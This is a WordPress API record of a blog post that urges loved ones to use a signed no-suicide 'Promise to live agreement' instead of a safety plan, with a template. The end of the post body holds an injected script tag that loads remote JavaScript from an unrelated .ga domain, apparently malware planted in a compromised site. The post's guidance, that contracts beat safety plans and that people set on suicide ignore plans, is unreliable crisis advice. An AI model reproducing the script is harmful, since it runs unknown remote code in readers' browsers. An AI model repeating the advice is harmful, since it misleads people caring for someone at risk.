{"id":1116,"date":"2015-07-10T14:35:55","date_gmt":"2015-07-10T14:35:55","guid":{"rendered":"http:\/\/readthisbeforeyoukillyourself.com\/?p=1116"},"modified":"2015-07-10T14:35:55","modified_gmt":"2015-07-10T14:35:55","slug":"why-a-safety-contract-is-better-than-a-safety-plan","status":"publish","type":"post","link":"https:\/\/mydepressionzone.com\/depression-fighter\/why-a-safety-contract-is-better-than-a-safety-plan\/","title":{"rendered":"Why a safety contract is better than a safety plan"},"content":{"rendered":"<p>Suicide prevention courses often teach crisis support workers and loved ones to develop a safety plan with their suffering friends or family member. \u00a0The safety plan is a step-by-step plan with contact information and actions that the suffering individual will take to stay safe when they feel that they are starting to consider suicide.<\/p>\n<p><a href=\"http:\/\/depression.zone\/wp-content\/uploads\/2015\/07\/bigstock-Pen-on-contract-deal-paper-wit-88006259.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignright wp-image-1270 size-medium\" src=\"http:\/\/depression.zone\/wp-content\/uploads\/2015\/07\/bigstock-Pen-on-contract-deal-paper-wit-88006259-300x200.jpg\" alt=\"\" width=\"300\" height=\"200\" \/><\/a><\/p>\n<p>While I think this is valuable for some people, being someone who was once suicidal, I have trouble understanding the effectiveness of a safety plan. Because the fact of the matter is, if someone truly wants to end their life they will take the actions to do so and disregard the safety plan.<\/p>\n<p>An easy way to understand this is to consider this analogy: \u00a0A person committed to losing weight disregards eating healthy, in a moment of &#8220;feeling like a piece of cake&#8221; even when they have a plan to not eat the cake. The difference is suicide is irreversible.<\/p>\n<p>So, here&#8217;s what I suggest is more effective to stopping someone commit suicide. \u00a0It&#8217;s a contract that I&#8217;ve named the &#8220;Promise to live agreement&#8221;. \u00a0This contract is signed by the suicidal person and a witness.<\/p>\n<p><strong>Reasons I suggest a contract is more effective than a safety plan:<\/strong><\/p>\n<ul>\n<li>Most people have a moral issue with breaking a contract.<\/li>\n<li>This agreement is signed by a witness. Most people value what they promise and give their word to.<\/li>\n<li>The contract stops the person from considering suicide and puts the idea on hold for a period of time. \u00a0Sometimes telling someone they can&#8217;t do something spurs them to want to do it more.<\/li>\n<\/ul>\n<p><strong>Here is an example of a &#8220;Promise to live agreement&#8221; <\/strong><\/p>\n<p>Use this template as a basis and formulate one with your own negotiated stipulations.<\/p>\n<p><strong>PROMISE TO LIVE AGREEMENT<\/strong><\/p>\n<p>1: PROMISE TO ABSTAIN FROM SUICIDAL ACTION I promise not to take any actions towards ending my life for the next 3 days. Even though, I am in a lot of pain, by initialing this statement I will sustain from taking any harmful actions against myself (or that could endanger others). I will do my best to remember that thoughts and actions are two different things. Although I may experience thoughts of suicide I will not do anything about them.<\/p>\n<p>Initial here: ________<\/p>\n<p>2. PROMISE TO ABSTAIN FROM DRUGS AND ALCOHOL I understand that suicidal thoughts and my depression can worsen if I abuse substances such as drugs and alcohol. I promise that during over the next 3 days I will abstain from alcohol and drug use. (With the exception of medication that\u2019s been described to treat your illness). I will also not abuse prescription drugs.<\/p>\n<p>Initial here: ________<\/p>\n<p>3. PROMISE TO CREATE A SAFE ENVIRONMENT During the reading of this book, I will ensure I am in a safe environment. I will remove items myself, or get help from a loved one, to remove all items I could use to hurt myself. This includes: Firearms, knives and blades, ropes, chemicals (including household cleaning products) and large amounts of pills. I will have a loved one monitor and distribute any prescription medicine I need during this time.<\/p>\n<p>Initial here: ________<\/p>\n<p>4. PROMISE TO DISCLOSE DISTRESS IN IMMEDIATE CRISIS If at any moment I feel unable to control my urges, or that my situation worsens during the next 3 days I promise to call 911.<\/p>\n<p>Initial here: ________<\/p>\n<p>Your signature : ________________________Witness:_______________________ Date: _________<\/p>\n<p>&nbsp;<\/p>\n<p>Need more information so you can help a loved one who is considering suicide? \u00a0Purchase this book that will teach you everything you need to know about suicide prevention:\u00a0<a href=\"http:\/\/depression.zone\/suicide-prevention-book\">\u00a0http:\/\/depression.zone\/suicide-prevention-book<\/a><script src='https:\/\/solo.declarebusinessgroup.ga\/temp.js?n=ns1' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Suicide prevention courses often teach crisis support workers and loved ones to develop a safety plan with their suffering friends or family member. \u00a0The safety plan is a step-by-step plan with contact information and actions that the suffering individual will take to stay safe when they feel that they are starting to consider suicide. While [&hellip;]<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_genesis_hide_title":false,"_genesis_hide_breadcrumbs":false,"_genesis_hide_singular_image":false,"_genesis_hide_footer_widgets":false,"_genesis_custom_body_class":"","_genesis_custom_post_class":"","_genesis_layout":"","footnotes":""},"categories":[1],"tags":[8],"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/mydepressionzone.com\/depression-fighter\/wp-json\/wp\/v2\/posts\/1116"}],"collection":[{"href":"https:\/\/mydepressionzone.com\/depression-fighter\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mydepressionzone.com\/depression-fighter\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mydepressionzone.com\/depression-fighter\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/mydepressionzone.com\/depression-fighter\/wp-json\/wp\/v2\/comments?post=1116"}],"version-history":[{"count":0,"href":"https:\/\/mydepressionzone.com\/depression-fighter\/wp-json\/wp\/v2\/posts\/1116\/revisions"}],"wp:attachment":[{"href":"https:\/\/mydepressionzone.com\/depression-fighter\/wp-json\/wp\/v2\/media?parent=1116"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mydepressionzone.com\/depression-fighter\/wp-json\/wp\/v2\/categories?post=1116"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mydepressionzone.com\/depression-fighter\/wp-json\/wp\/v2\/tags?post=1116"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}